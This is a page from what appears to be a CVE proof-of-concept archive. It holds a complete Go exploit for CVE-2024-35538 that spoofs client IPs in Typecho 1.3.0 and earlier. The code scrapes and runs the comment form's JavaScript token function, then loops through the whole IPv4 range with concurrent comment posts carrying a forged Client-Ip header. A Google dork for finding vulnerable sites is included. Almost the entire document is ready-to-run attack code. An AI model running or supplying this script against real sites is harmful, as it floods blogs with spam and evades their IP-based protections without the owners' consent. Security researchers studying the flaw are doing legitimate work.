4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-35538.go GO
// Exploit Title: Typecho <= 1.3.0 Client IP Spoofing
// Google Dork: intext:"Powered by Typecho" inurl:/index.php
// Date: 18/08/2024
// Exploit Author: Michele 'cyberaz0r' Di Bonaventura
// Vendor Homepage: https://typecho.org
// Software Link: https://github.com/typecho/typecho
// Version: 1.3.0
// Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
// CVE: CVE-2024-35538

// For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/

package main

import (
	"bytes"
	"fmt"
	"io"
	"net/http"
	"net/url"
	"os"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"github.com/robertkrimen/otto"
)

var (
	nThreads   int32 = 0
	maxThreads int32 = 20
	wg         sync.WaitGroup
	userAgent  string       = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
	client     *http.Client = &http.Client{
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}
)

func getJSFunction(u string) string {
	req, err := http.NewRequest("GET", u, nil)
	if err != nil {
		fmt.Println("[X] Error creating initial request:", err)
		return ""
	}

	req.Header.Set("User-Agent", userAgent)
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("[X] Error sending initial request:", err)
		return ""
	}

	buf := new(bytes.Buffer)
	buf.ReadFrom(resp.Body)
	body := buf.String()

	if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") {
		fmt.Println("[X] Error finding JavaScript function")
		return ""
	}

	jsFunction := strings.Split(body, "input.value = (")[1]
	jsFunction = strings.Split(jsFunction, ")();;")[0]

	return jsFunction
}

func executeJavaScript(jsFunctionName string, jsFunctionBody string) string {
	vm := otto.New()

	_, err := vm.Run(jsFunctionBody)
	if err != nil {
		fmt.Println("[X] Error executing JavaScript function:", err)
		return ""
	}

	result, err := vm.Call(jsFunctionName, nil)
	if err != nil {
		fmt.Println("[X] Error calling JavaScript function:", err)
		return ""
	}

	returnValue, err := result.ToString()
	if err != nil {
		fmt.Println("[X] Error converting JavaScript result to string:", err)
		return ""
	}

	return returnValue
}

func spamComments(u string, formToken string) {
	i := 0
	for octet1 := 0; octet1 < 256; octet1++ {
		for octet2 := 0; octet2 < 256; octet2++ {
			for octet3 := 0; octet3 < 256; octet3++ {
				for octet4 := 0; octet4 < 256; octet4++ {
					for nThreads > maxThreads {
						time.Sleep(250 * time.Millisecond)
						wg.Wait()
					}
					ip := fmt.Sprintf("%d.%d.%d.%d", octet1, octet2, octet3, octet4)
					i++
					wg.Add(1)
					atomic.AddInt32(&nThreads, 1)
					go spamRequest(u, formToken, ip, i)
				}
			}
		}
	}
}

func spamRequest(u string, formToken string, ip string, i int) {
	fmt.Printf("\r[*] Spamming comment %d from %s        ", i, ip)

	defer atomic.AddInt32(&nThreads, -1)
	defer wg.Done()

	req, err := http.NewRequest("POST", u+"comment", nil)
	if err != nil {
		return
	}

	formData := url.Values{}
	formData.Set("_", formToken)
	formData.Set("author", fmt.Sprintf("user_%s", strings.Replace(ip, ".", "", -1)))
	formData.Set("mail", fmt.Sprintf("%[email protected]", ip))
	formData.Set("text", fmt.Sprintf("Hello from %s", ip))

	req.Header.Set("Client-Ip", ip)
	req.Header.Set("Referer", u)
	req.Header.Set("User-Agent", userAgent)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
	req.Body = io.NopCloser(strings.NewReader(formData.Encode()))

	resp, err := client.Do(req)
	if err != nil {
		return
	}

	defer resp.Body.Close()
}

func main() {
	if len(os.Args) != 2 {
		fmt.Println("Usage: go run CVE-2024-35538.go <POST_URL>")
		return
	}

	fmt.Println("[+] Starting Typecho <= 1.3.0 Client IP Spoofing exploit (CVE-2024-35538) by cyberaz0r")

	targetUrl := os.Args[1]
	fmt.Println("[+] Spam target:", targetUrl)

	fmt.Println("[*] Getting JavaScript function to calculate form token...")
	jsFunction := getJSFunction(targetUrl)
	if jsFunction == "" {
		fmt.Println("[-] Could not get JavaScript function, exiting...")
		return
	}

	fmt.Println("[*] Evaluating JavaScript function to calculate form token...")
	formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1))
	if formToken == "" {
		fmt.Println("[-] Could not get form token, exiting...")
		return
	}

	fmt.Println("[+] Form token:", formToken)
	spamComments(targetUrl, formToken)
}